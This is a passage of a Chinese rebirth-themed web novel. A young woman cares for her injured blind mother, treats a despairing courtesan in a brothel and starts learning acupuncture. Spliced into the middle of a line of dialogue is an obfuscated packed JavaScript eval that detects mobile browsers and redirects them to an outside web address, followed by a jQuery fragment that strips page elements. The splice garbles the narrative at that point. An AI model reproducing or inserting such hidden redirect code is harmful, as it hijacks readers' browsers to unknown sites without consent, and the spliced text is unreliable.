见被女儿发现,邱雁娘尴尬地笑道:“没什么,就是昨日不小心摔了一跤……” 孟舒又将视线落在她娘亲的腿上,她掀开被褥,正欲去查看她娘的伤势,却被邱雁娘慌乱地按住了,“不要紧的。” 可她越是阻止,孟舒便越要看,她强硬地拉高她娘亲的里裤,看到那双膝上紫的发黑,触目惊心的瘀伤时,连一旁的雪兰都不禁倒吸一口气。 孟舒的眼圈一下便红了,怪不得昨日回程时,她娘走得那么慢,如此伤势,她该有多疼呀,却还在拼命隐忍,唯恐被她察觉。 听得耳畔响起低低的抽泣声,邱雁娘佯作轻松道:“无妨,我刚看不见那段日子,不也常摔嘛,不是什么大事。” “娘,是女儿没有保护好你。”孟舒自责道。 知晓女儿会难过,邱雁娘哪里敢把昨日被欺凌的事说出来,“不是你的错,是我自个儿,明知眼睛不方便却还要去,还不听话,昨日玉露让我坐着等,我偏四处走动,也不知被什么绊着了,这才摔得厉害。” 邱雁娘顿了顿道:“此事莫要声张,不是什么大事,不好让老夫人操心的,你今日不是要去药铺吗?那正好,回来时给娘带治瘀伤的膏药回来,抹几日便也好了。” 孟舒抽了抽鼻子,看着她娘那双黯淡无光的眼睛,心下酸涩得厉害。 前世,她娘的眼睛虽能勉强视物,但始终模糊不清。 她娘出事的前几月,因担忧她迟迟没有身孕,被婆母嫌弃,也不知从哪里听来的法子,说做了衣裳,孩子自然也就来了。 为这不可信的说法,她娘竟是背着她在夜里挨着灯偷偷缝制,因着看不清,她艰难地一边摸索布料边沿,一边穿针引线,待衣裳做完时,一双手已不知被针扎了多少回,甚至还有被剪刀划破的口子。 而今想来,或许那件小衣裳真的有用。 只可惜,那来到她腹中的孩子终究没能穿上,就连她娘也离她而去了。 孟舒抱住邱雁娘,盼望着这一世,她娘的病情能彻底恢复,重新用那双眼睛好生看看她,莫再受病痛带来的苦楚。 离府前,孟舒嘱托雪兰用巾帕绞了凉水给她娘敷一敷伤处,好镇痛化瘀。 出了沈家,她径直去了百草堂,距离百草堂还有一个巷子时,自怀中取出面衣戴上。 上回坐诊时,她亦戴了面衣,刘大夫并未说什么,晓得她一个姑娘家,在外抛头露面不方便,也怕被熟识之人发现。 今日店内萧条,并没什么人,但孟舒进去时,却发现刘大夫正在整理药箱,她问道:“刘叔这是要到哪儿去?” “小宁来了。”刘大夫看向她,不知为何,笑得有些尴尬,“自然是出诊去。” “那我同您一道去。” “不必了。”刘大夫拒绝地快,旋即吞吞吐吐道,“你留在店中,一个姑娘家,去那处……不合适。” 他这般态度,反让孟舒愈发好奇了,“是什么地方?” 刘大夫闻言面露难色,此时药铺的孙掌柜过来,“是醉花巷,丫头,那脏地方可不是你该去的,这诊别家都不愿接,嫌晦气,也就我们东家心善,所以那儿的人但凡有个头疼脑热的便回回寻到我们这儿来。” 孟舒明白过来,她想了想,却还是道:“刘叔,我同你一道去。” 刘大夫一惊,“可……” “那儿的都是女子,刘叔想来也不大方便,且有刘叔在,就算是那地,也不在怕的。” 孙掌柜拧眉,“丫头,你也不嫌脏啊。” 孟舒笑道:“既是医者,无论患者是何身份,高低贵贱自该一视同仁,哪有什么脏不脏的。” 孙掌柜闻言轻啧了一声,“你这丫头,怎和东家一个性子,难怪东家喜欢你,别怪我没提醒,可将脸遮拦喽,要是让人知道你进了那地方,甭说嫁人了,唾沫星子都能将你淹死,到时还不逼着你投河去。” “知道了,多谢孙叔叮嘱。”孟舒说罢,看向刘大夫,刘大夫叹了口气,无奈道,“到了那儿,你紧跟着我,莫要乱跑。” 孟舒颔首应下。 两人坐车一路往醉花巷而去,不同于夜间的灯火繁华,这会儿的醉花巷却是最安静的时候。 马车在云烟楼的后门停下,有丫鬟引着他们到了四楼最西边一间,扣了扣门,唤了几声“桃儿”。 开门的是一个才十一二岁的小姑娘,看清这婢子模样的一刻,孟舒微愣了一下。 “刘大夫,你总算来了,快给我家姑娘瞧瞧吧。”那叫桃儿的婢子焦急地冲里头道,“姑娘,刘大夫来了。” 隔着层层帐幔,孟舒隐约见一人躺在那张红漆雕花架子床上,听得声儿,却动也不动。 桃儿领着他们入了里头,见榻上人始终没有反应,蹙眉劝道:“姑娘,大夫都请来了,您就让瞧瞧吧,不然……妈妈怕是又要责罚我了。” 此言一出,没一会儿,孟舒听见一声似有若无的叹息,紧接着,一只纤白如玉的藕臂缓缓自床帐内伸了出来。 刘大夫这才放下药箱,探了探脉后,问道:“挽月姑娘哪里不适?” “胸口后背红疹不退。”一道如溪泉般清冷动听的嗓音在屋内响起。 一旁的桃儿拧着衣角,神色愈发紧张起来。 见她们这般反应,刘大夫似乎明白过来,他没多说什么,只看向站在一旁的孟舒道:“小宁,你去看看,她身上的红疹是何模样,可有脓疮。” 见孟舒点头,刘大夫便起身避退到了外头。 桃儿撩起床帘的一瞬,孟舒方才看清了榻上人的模样,纤侬合宜的身子裹着薄透的嫣红寝衣,将她的本就滑若凝脂的玉肌衬得愈发白皙细腻,她慵懒地由桃儿扶起身,虽未施粉黛,但仍美得惊心动魄,眼眸流转间,透出难以掩盖的媚意。 挽月慢吞吞去解衣裳,打量的目光却落在了孟舒身上,她轻笑一声,“头一次听说,百草堂还有女大夫。” “姑娘高看我了,我不过是个打杂的,尚当不起大夫这个称呼。” “你胆子倒是大,一个清清白白的姑娘家竟敢到这样的地方来,就不怕……沾染了什么脏病。”说着,她讥讽一笑,骤然贴近,本想吓孟舒一吓,谁料眼前这人竟丝毫不为所动。 孟舒检查罢,莞尔笑道:“姑娘哪里脏了,倒散发着一股好闻的花香,我看姑娘这红疹,像是吃错或接触了什么所致,服了药过几日便能消退。” 桃儿顿时喜不自胜,“那就不是花柳……不是那些个坏病了。” “虽不清楚这红疹究竟因何而起,但我能肯定,并非你们想的那般。” 孟舒曾在医书中瞧见过,所谓花柳病,民间也称杨梅疮,因“肿突红烂,状如杨梅”而得名。 虽后头身上也会生出红疹,但以挽月姑娘的症状,根本对不上,何况看适才刘大夫的反应,显然也从脉象上基本确认了此事。 “太好了姑娘。”桃儿不禁喜极而泣。 “竟不是吗?”挽月脸上却并无喜色,反扯唇苦笑了一下,“还不如死了得了。” 听得此言,孟舒替挽月撩起一侧寝衣的手微微一滞,她凝视着眼前的女子,迟疑片刻,试探着问道:“三个多月前,在宁安坊的东街上,姑娘可曾救过一对母女?” 挽月眼也不抬,“没有。” “救过的,救过的。”桃儿却是道,“姑娘不记得了吗,那日热得厉害,日头火辣辣的,都能将人晒化了,姑娘才从张大人家弹琴回来,路上遇到了一对母女,母亲热昏在女儿怀里,是您让我赁了一旁的牛车送去医馆,还给付了诊金和药钱呢。” 桃儿说着,蓦然反应过来,“难不成就是姑娘你?” 孟舒点点头:“是,那日多亏挽月姑娘出手相助,不然我娘只怕撑不到现在。” 那时,她带着她娘寻季大夫无果,走投无路之下,求到了沈家门前,可沈家门房见她们母女二人衣衫褴褛,哪里肯信她们的话,只当是骗子轰了出去。 是日烈日炎炎,热得异常,她娘本就虚弱,到底禁不住溽暑昏倒在街上,当时她同样快受不住,几乎绝望之际,若非这位挽月姑娘出手相救,她娘恐早已没了性命。 挽月神色冷淡,并无意与孟舒“叙旧”,好似这一切与她无关一般,“你娘能不能活,看得还是她自己的造化,倒也不必归功于我。” 说着,作势便要躺下。 绣枕被挪动了一下,压在底下的东西滚了出去,孟舒眼疾手快一下接住,才没让它掉落在地。 她定睛一瞧,是一个不大的瓷瓶。 疑惑之际,手中物骤然被夺去,她瞥见那位挽月姑娘脸上一闪而过的慌乱。 “这是……”她到底还是多嘴问了。 “能是什么,给客人们用来助兴的玩意儿罢了。”挽月挑眉,似笑非笑地看着她,“怎的,你也想试试?” 孟舒盯着那瓷瓶,抿唇没有言语。 待同刘大夫描述了那红疹的模样,刘大夫写了药方递给桃儿,让她去就近的铺子抓药。 桃儿心下感激,将他们一路送至后门。 临上车前,孟舒提醒桃儿那瓷瓶的事,道挽月姑娘看起来心灰意懒,又说了那样的话,不得不防。 桃儿点点头,忍不住抹起了眼泪,“我家姑娘实在命苦,幼时没了爹娘,被亲叔叔卖进了这炼狱一样的地方,虽为这楼中的花魁,但在客人那厢不知吃了多少苦头,近日听说有人要替她赎身,这才如此意志消沉。” “赎身?”孟舒问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423911|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“能从这魔窟里出去,不算是好事吗,为何不高兴?” “若是那靠得住的,便也罢了,可要替我家姑娘赎身的,偏是那位秦大将军的嫡孙秦家四爷秦尧。”桃儿一时哭得更凶了,“那秦四爷的性子……且不说了,但谁不知他家那位奶奶手段狠厉,向来残害妾室,进府的女子多是活不过三个月,那不是让我家姑娘去送死吗。” 秦尧…… 孟舒隐隐记得此人,前世不久后,他似被派去南边沿海抗倭,但因刚愎自用,贪功冒进,反中了对方奸计,令大军死伤无数,可在被重重包围的危急关头,他竟不顾百姓安危,弃城而逃,导致那些穷凶极恶的倭寇,在城内肆意烧杀劫掠,屠戮百姓,血流成河。 此事传回京城,朝堂震动,秦尧被褫夺官位,贬为庶民流放。 都察院几位江派的监察御史趁此机会,以任人唯亲,酿成大祸为由狠狠参了卢灏一本。 此事闹得极大,二辅卢灏为此在朝堂上痛哭流涕,向圣上引咎辞职,圣上自然没有准允,不但极力为自己的老师辩护,甚至几番极力挽留,最后也就不了了之。 孟舒不由在心下一声长叹,以前世的结局,就算挽月能在秦四奶奶手中活下来,可等后头秦尧获罪落魄,也注定要跟着遭难。 这世间女子就是如此,身如浮萍,往往只能随波逐流,由他人决定自己的命运。 更何况,而今的挽月似已没了太大的生的念头。 京城,雁归楼。 蒋长风推开二楼雅间的门,看向坐在窗边默默饮酒之人,不由笑道:“我们沈大状元实在难得,下值后竟来寻我喝酒。” 他径直坐下,给自己倒了一杯,就听对面人淡淡道:“我听闻近日南边躁动,尤是浙闽一带倭寇猖獗,朝廷有意封秦尧为浙江巡抚,南下抗倭。” “你消息倒是灵通,没错,任命想是过几日便会下来。那秦尧乃将门之后,祖父又是随高祖皇帝征战的开国大将军,自小饱读兵书,是极为合适的人选。” “可算起来,他不还是卢阁老的表外甥吗?”沈筹问道。 “那又如何。”蒋长风不以为意,“高门联姻乃是常事,真论起来,京中哪两家不是沾亲带故。何况秦尧与卢阁老这舅甥都出了五服,只消陛下首肯,便都无妨。” 沈筹眸色沉了几分,静默少顷,他问道:“你与那秦尧可相熟?” “倒是有几分交情,秦尧此人是个武痴,旁的倒没什么,却是占了个好色的名头,醉花巷里的云烟楼他是常客,说起来,前几日,他还邀我一道去喝花酒。”言至此,蒋长风无奈地笑了笑,“可你也知,我家中管的严。” 沈筹放下酒盏,抬首定定道:“下回他再邀你,不若喊我同去。” 蒋长风倏然一怔,难以置信地看去,“砚之,你今日吃多了酒不成!” 见沈筹面不改色的模样,蒋长风知他并非玩笑,不禁大喜,“怎的,你莫不是终于想通了。” “好,太好了。”蒋长风欣慰道,“我父亲劝不了你,索性你自个儿想通了,想通了好,想通了好,我知你向来不屑那些朝堂争斗,可既在官场,身不由己,不是你想便能置身事外的。等改日我做东,邀那秦尧,介绍你俩好生认识认识。” 蒋长风心下高兴,仰头一番豪饮后,脱口道:“而今你也科举入仕,都说洞房花烛夜,金榜题名时,后者你已得了,至于这前者……敢问沈大状元打算何时迎娶我家小妹,姑娘家可不像男子,禁不住等。” 始终神色如常的沈筹骤然沉了脸,正襟危坐道:“静远兄慎言,我们两家并未定亲,不可说这样的话,以免惹人误会,毁了蒋姑娘的清誉。” 蒋长风只觉沈筹死板,“误不误会的,全京城不都觉得此事板上钉钉。” “怎的,瞧不上我家小妹,意欲娶旁人?”蒋长风调侃,“是哪家闺秀,是伯爵,侯爵家的千金,还是王府的郡主啊?” 沈筹看着好友唇间戏谑的笑,剑眉微蹙,“我娶的妻子便一定要出身高门吗?” 这话还真将蒋长风问愣了,他挑了挑眉,“小官家的倒也无妨,只是你祖母母亲可会答应?你兄长那是迫不得已,可你,被你祖母母亲乃至于整个沈家寄予厚望,你的妻子定也是千挑万选。退一万步说,就算是你祖母母亲答应,你也难以保证她得嫁高门后不因身份受人打压非议,里里外外处处过得顺心,不是吗?” 是…… 沈筹薄唇抿紧,忽而有种醍醐灌顶之感。 心下郁烦顿散了些。 他微微垂睫,侧首望向窗外。 对街药铺中恰走出一个戴着白色面衣的女子,她手中捏着一个瓷罐,清丽的嗓音隐隐约约传来。 “多谢孙叔,那这膏药我便收下了。” 沈筹眼眸微眯,指腹缓缓摩挲着杯壁。 “她介怀的若是身份,换一个便是……” 已有些酒醉的蒋长风未听清他的喃喃。 “你说什么?” 他迷迷瞪瞪看去,便见作为同侪中的佼佼者,向来傲气的沈筹沈砚之唇间竟泛起淡淡的笑意,旋即微垂下脑袋,莫名其妙地同他道。 “今日深谢静远兄了。” 14.第 14 章 因去了趟云烟楼,今日孟舒回到沈家时,比以往都要迟,才走进碧落小筑,正遇着迎面而来的雪梅。 她没有行礼,却是上下扫她一眼,轻嗤道:“姑娘好兴致,说是去抓药。却常是清早离府,傍晚才回来。您在外头倒是顽的尽兴,可还记得您母亲还病着呢。” 见她阴阳怪气,孟舒没理睬她,正欲往主屋的方向去,却见雪兰推开门气呼呼走了出来。 适才那话她显然听见了。 她大步跨至雪梅跟前,“我倒也想问问了,夫人病了,也不见雪梅姐姐伺候的,早上姑娘一走,你也没了踪影,莫不是又躲在哪儿找人偷偷推牌九去了。” “你胡说八道些什么。”雪梅面上闪过一丝心虚,“我没有,莫要随口污蔑我。” 说罢,灰溜溜走了。 孟舒无奈道:“雪兰,你何必为了我得罪她,你这般给她难堪,就不怕她将来在背后给你穿小鞋吗?” 雪兰将下颌一抬,一副无畏无惧的模样,“奴婢不怕,奴婢早就看不过眼了,从前因她比奴婢长几岁,奴婢才敬重着她,叫她一声姐姐,可她总是……总是对姑娘趾高气昂的,说些不中听的话。” 孟舒笑了笑,仿佛看到上一世同样护在她跟前的雪兰,“今日多谢你了,辛苦你照顾我娘。” “姑娘千万别这么说,可是折煞奴婢了。”雪兰道。 看着眼前才十四岁,比她记忆中要稚嫩许多的雪兰,孟舒心下不由生出几分愧疚。 她不知前世她死后会有多少人替她伤心,但雪兰定会是其中一个。 分明疏影轩失火前,她还对她保证绝不会寻短见,可最后还是残忍地让雪兰看到了她的尸首。 思及前世那场大火,孟舒秀眉微蹙,神色凝重了些,重生后她有太多事要做,却从未好生琢磨过。 那火,究竟是不是意外呢…… 孟舒未思索太多,入了主屋,就见邱雁娘一如往常坐在明间的圆桌前,等她回来,和她一道用饭。 吃过晚饭,孟舒拿出孙掌柜给她的药膏,给她娘的手臂和双膝上药,期间到底忍不住说了挽月姑娘的事。 邱雁娘听闻女儿去了那般地方,起初吓了一跳,但听得挽月之事,便是一阵惋惜。 “这般心善的姑娘,可惜命不好,沦落至此。” 见她娘神色哀伤,孟舒晓得她定想起了从前住在他家不远的芳娘姐姐。 芳娘姐姐比她大五岁,从前常带她去溪边玩,教她打穗子,摘凤仙花染甲,十四岁时她爹娘为给她大哥娶媳妇,竟将她卖给镇上四十好几却无子的胡员外做妾,谁曾想一年后刚生下儿子,就被员外夫人找人丢进了窑子,没一阵便染上了那脏病,听闻芳娘姐姐还剩一口气时就被扔到了乱葬岗,最后浑身溃烂,散发着恶臭在野外活活冻死。 这些事,后来还是听在镇上开铺子的同村人说起的。 其实,芳娘姐姐被卖到窑子后不久,曾拼命逃出过一回,费劲千辛万苦回到了村里,本以为就此有了希望,却不想她爹娘嫌弃她脏,她大哥更是抄起笤帚呵斥着将她赶出了家门。 那时,还是她阿爷阿奶心软收留了芳娘姐姐。可谁知几日后,她阿爷去山中捕猎,窑子的人竟在村里人的带领下,硬生生将芳娘姐姐带走。 孟舒至今都还记得,芳娘姐姐被人扛在肩上,不住地挣扎哭喊。 她阿奶和娘皆无能为力,可那时年幼的她也只能在后头徒劳地追赶,但终究救不了芳娘姐姐。 那份愧疚深深烙在她心里,甚至很多年后她依然会梦见芳娘姐姐用那双盈满泪水的眼眸看着她,面上满是恳求与绝望。 世人都以风尘女子为不齿,可孟舒知道,若能选,谁又愿意承受日日那般屈辱后,还为人嫌弃和唾骂。 “娘,我想帮帮她。” 邱雁娘怔了怔,她抿唇思索半晌,“挽月姑娘对我们有救命的恩情,按理是要报答,你若有了什么主意,娘也阻止不了你,但还是希望你万事小心,千万莫让自己处于险境。” 她拉住孟舒的手,嗓音微颤,“皎皎,娘很自私,娘……只有你了。” 孟舒重重“嗯”了一声,“娘,女儿记住了。” 翌日,是季大夫来看诊的日子,今日的季大夫来得格外得早,入了屋,便问邱雁娘近日头疾可有减缓。 邱雁娘点点头,“从前一两日便要疼一回,常疼得我受不住,而今四五日才疼,且没以往那般难以忍受了。” 季嵩点点头,又探了邱雁娘的脉象,蹙眉道:“这几日可是没有睡好?” 邱雁娘颇有些惊诧,如实道:“前日无意摔了一跤,摔得有些厉害,周身发疼,这才难以入眠,但小女让我又凉敷又热敷的,还给我抹了膏药,极为有效,那些瘀伤想是很快便会消退。” 季嵩闻言,看了眼默默站在一旁的孟舒,旋即开了药箱,取出针囊。 然这一回,季嵩并未动手,而是再次将视线落在孟舒身上,定定道:“今日,你来替你娘施针。” 孟舒愣了愣,这一幕她很熟悉,因前世也曾发生过,只她没想过,这一次,会来得那么快。 然不同的是,她并未像前世那般下意识拒绝,而是迟疑半晌,缓步上前。 在眼神示意孟舒取针后,季嵩端坐在那儿,徐徐开口,“平刺百会穴,入针半寸,轻柔捻转……” 前世不知以同样的手法刺过多少次这个穴位的孟舒几乎毫不费力完成了季大夫的要求。 季嵩微微抬眉,似有些意外,紧接着又让孟舒刺下一个穴位。 一炷香后,季嵩神色复杂地看着正在收整银针的孟舒道:“往后,我隔一日来一回,教你如何给你娘施针。” 邱雁娘闻言,面上一喜,脱口道:“季大夫这是要 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季嵩神思恍惚地看了眼前的小姑娘许久,方才颔首应了一声。 半个时辰后,他坐着沈府准备的马车回了永兴坊。 甫一下车,便见两人立于门前,对着他恭敬地施了一礼。 季嵩拧眉,不耐烦道:“怎又是你,我说过了,不治!” 听得此言,为首的青年男子依然道:“季大夫,晚辈的父亲多年为头疾所扰,只要您肯医治,无论什么条件晚辈都能答应。” 季嵩微滞下脚步,冷眼看去,“若我说,让他与那江子荣彻底断绝来往呢!” 男子猛然一怔,旋即蹙眉道:“此事……怕是强人所难。” “那便没得商量。”季大夫低哼一声,拂袖而入,毫无留情地让下人关了院门。 这三番五次吃了闭门羹,赵兴到底忍不住劝,“公子,你这又是何必呢,那大夫就是个老顽固,与其在他这儿耗费工夫,不如再替老爷寻旁的大夫试试。” “季大夫不愿医治也是情有可原。”崔允衡无奈道,“且若是旁的大夫可医,我便不会执着于此,这头疾亦是父亲多年心病,若头疾得治,指不定父亲就不必逢年过节独自望月兴叹了……” 赵兴长叹一声,又何尝不知他家老爷的心思,可谁能想到,这老大夫痛恨当年送他入狱的江阁老,竟因他家老爷是江阁老的门生而死活不肯诊治。 然偏偏他家老爷的头疾谁也治不好,而今只能从这老大夫的独门针法中寻求几分希望,当真是冤孽。 赵兴下意识感慨,若这老大夫有徒弟便好了,可转念一想,更觉无望。 听说当年,这老大夫就是受了自己得意门生的栽赃嫁祸,才遭受牢狱之灾,险些被判极刑。 有了那前车之鉴,他怎可能再轻易收徒呢。